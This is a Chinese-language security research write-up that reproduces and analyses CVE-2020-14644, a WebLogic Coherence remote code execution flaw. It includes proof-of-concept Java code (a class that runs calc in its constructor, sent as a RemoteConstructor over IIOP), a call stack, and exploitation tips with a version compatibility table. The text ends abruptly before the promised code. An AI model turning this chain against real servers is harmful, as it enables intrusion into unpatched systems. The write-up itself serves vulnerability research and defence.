作者:白帽汇安全研究院@Sp4rr0vv
核对:白帽汇安全研究院@r4v3zn
概述
2020 年 7 月 15 日,Oracle 发布大量安全修复补丁,其中 CVE-2020-14644 漏洞被评分为 9.8 分,影响版本为 12.2.1.3.0、12.2.1.4.0, 14.1.1.0.0
。本文基于互联网公开的 POC 进行复现、分析,最终实现无任何限制的 defineClass
+ 实例化,进行实现 RCE。
前置知识
JDK
的 ClassLoader
类中有个方法是 defindClass
,可以根据类全限定名和类的字节数组,加载一个类到 jvm
中并返回对应的 Class
对象(随带一提,这种加载类的方式不会执行类初始化)。
所以只要参数 name
(类名)和 b
(类文件的二进制数据)可控,理论上我们可以加载任何类,需要注意的一点是,这个类名 name
一定要和这个类字节数组 b
中对于的类名一致才行,不然就是一个 NoClassDefFoundError
复现
环境
- Weblogic 12.2.1.4.0
- jdk 1.8.0_112
- Windows 10
首先准备一个带包名的恶意类,在构造函数中写入恶意代码
package com;
import java.io.IOException;
public class EvilObj {
public EvilObj() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
var1.printStackTrace();
}
}
}
POC
ClassIdentity classIdentity = new ClassIdentity( EvilObj.class);
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(EvilObj.class.getName());
ctClass.replaceClassName(EvilObj.class.getName(), EvilObj.class.getName() + "$" + classIdentity.getVersion());
RemoteConstructor constructor = new RemoteConstructor(
new ClassDefinition(classIdentity, ctClass.toBytecode()),
new Object[] {}
);
// 发送 IIOP 协议数据包
Context context = getContext("iiop://ip:port");
context.rebind("hello",constructor);
复现结果:
以下为简化版调用栈:
exec:347, Runtime (java.lang)
<init>:14, SimpleMapEntry$7E80A4E3098E7FB7B109472C77D1D573 (com.tangosol.util)
newInvokeSpecial__L:-1, 1565249093 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 1641862114 (java.lang.invoke.LambdaForm$BMH)
invoker:-1, 222055923 (java.lang.invoke.LambdaForm$MH)
invokeExact_MT:-1, 1593074896 (java.lang.invoke.LambdaForm$MH)
invokeWithArguments:627, MethodHandle (java.lang.invoke)
createInstance:149, ClassDefinition (com.tangosol.internal.util.invoke)
realize:142, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)
漏洞分析
先看下几个关键的类的字段和构造函数,都是 coherence.jar 中的类
com.tangosol.internal.util.invoke.RemoteConstructor
com.tangosol.internal.util.invoke.ClassDefinition
com.tangosol.internal.util.invoke.ClassIdentity
com.tangosol.internal.util.invoke.RemotableSupport
com.tangosol.internal.util.invoke.ClassIdentity
的构造构造方法可以将 Class
作为参数,然后进行提取该类的一些特征信息,例如 package
、BaseName
、Version
等信息,其中 Version
表示该类文件的内容 MD5
值,然后转换为 Hex
。
所以 getName() = package + "/" + baseName + "$" + version
com.tangosol.internal.util.invoke.ClassDefinition
中 classname
和 byte[]
都有了,而 RemoteConstructor
持有 ClassDefinition
类型的引用,RemotableSupport
继承了 ClassLoader
,具有加载类的功能。
最后看下关键的几个调用栈:
重点在 RemotableSupport.realize
中进行处理,其中首先流入 this.registerIfAbsent(constructor.getDefinition())
中。
在 RemotableSupport
中定义了 Map 类型 f_mapDefinitions 的变量进行充当缓存作用。
首先是每次调用 realize
时会先在缓存中查找 ClassDefinition
而 ClassIdentity
重写了equals
方法,所以如果恶意类的内容没有什么变化的话,会将 Class
对应的 ClassIdentity
在第一次使用时的 id 作为 key,内容作为 value 存入缓存,之后每次都会返回第一次加的 Class
的 name
的 ClassDefinition
。
执行 this.registerIfAbsent(constructor.getDefinition())
之后通过 ClassDefinition.getRemotableClass
进行获取 m_clz
,第一次流入时内容值为 null
(其中不仅是因为在 ClassDefinition
的构造函数中没有为该字段赋值的语句,更重要的是这个字段是 transient
修饰的),然后通过调用 defineClass
进行加载恶意类字节码。
由于 RemotableSupport
继承了 ClassLoader
,所以它的 defineClass
就是调用了父类的 defineClass
来加载类,但是有意思的是他所生成类名的逻辑,是前面所说的 ClassIdentity.getname() = package + "/" + baseName + "$" + version
,所以 ClassIdentity
中的字节数组 byte[]
中的对应的 Class 的类名必须为 package + "." + baseName + "$" + version
,否则可能会面临加载失败的问题。
还有一个有意思的地方是 RemotableSupport.defineClass
这个函数所返回的是一个泛型
还刚好是 ClassDefinition.setRemotableClass
的参数类型一致
这意味着,这个ClassDefinition
中的类字节数组byte[]
内容不需要进行继承Remotable
而且显而易见,ClassDefinition.setRemotableClass
的作用就是为ClassDefinition
的两个 transient
字段赋值
这要求ClassDefinition
所代表的类的构造函数必须只有一个,参数有无,没有任何影响,m_mhCtor
字段的类型为MethodHandle
,是 JDK7 的新特性,是另一套反射 api 中的类,在 ClassDefinition
这个类中对应于构造函数。
当流入 ClassDefinition.createInstance
后会进行调用构造方法将 aoArgs
作为参数进行实例化对象,由于我们的恶意代码是写在构造方法中的,所以当实例化之后会进行执行恶意代码。
实际利用
综述,整体的思路为,构造一个带有包名类,恶意代码写进构造函数中就行,然后通过 javassist
进行动态修改类名,将原类名追加 $
和 version
值,在实战利用中可能会出现以下问题。
为啥要带包名?
因为ClassIdentity
的构造函数中有下面这个链式调用,不带包名getPackage()
会返回null
,再往下调用就会空指针异常
Class 版本问题
在利用的过程中常常会出现,由于 JDK 版本问题无法正常利用问题。
- 可以通过在编译获取恶意类时加入
-source 1.6 -target 1.6
参数指定编译版本。 - 也可通过设置当前运行 jdk 版本调整为最低版本进行使用。
序列化 ID 问题
由于 Weblogic 版本的变化,coherence.jar
文件中的 serialVersionUID
可能会出现不一致的问题,通过分析测试得出以下结论 12.2.1.3.0
与 12.2.1.4.0
、14.1.1.0.0
的 serialVersionUID
不同,以下为详细测试的结果:
coherence.jar | weblogic 版本 | 是否成功 |
---|---|---|
12.2.1.3.0 | 12.2.1.3.0 | 成功 |
12.2.1.3.0 | 12.2.1.4.0 | 失败 |
12.2.1.3.0 | 14.1.1.0.0 | 失败 |
12.2.1.4.0 | 12.2.1.3.0 | 失败 |
12.2.1.4.0 | 12.2.1.4.0 | 成功 |
12.2.1.4.0 | 14.1.1.0.0 | 成功 |
14.1.1.0.0 | 12.2.1.3.0 | 失败 |
14.1.1.0.0 | 12.2.1.4.0 | 成功 |
14.1.1.0.0 | 14.1.1.0.0 | 成功 |
该问题可通过 URLClassLoader
进行动态加载处理以下为部分核心代码(摘自 weblogic-framework
):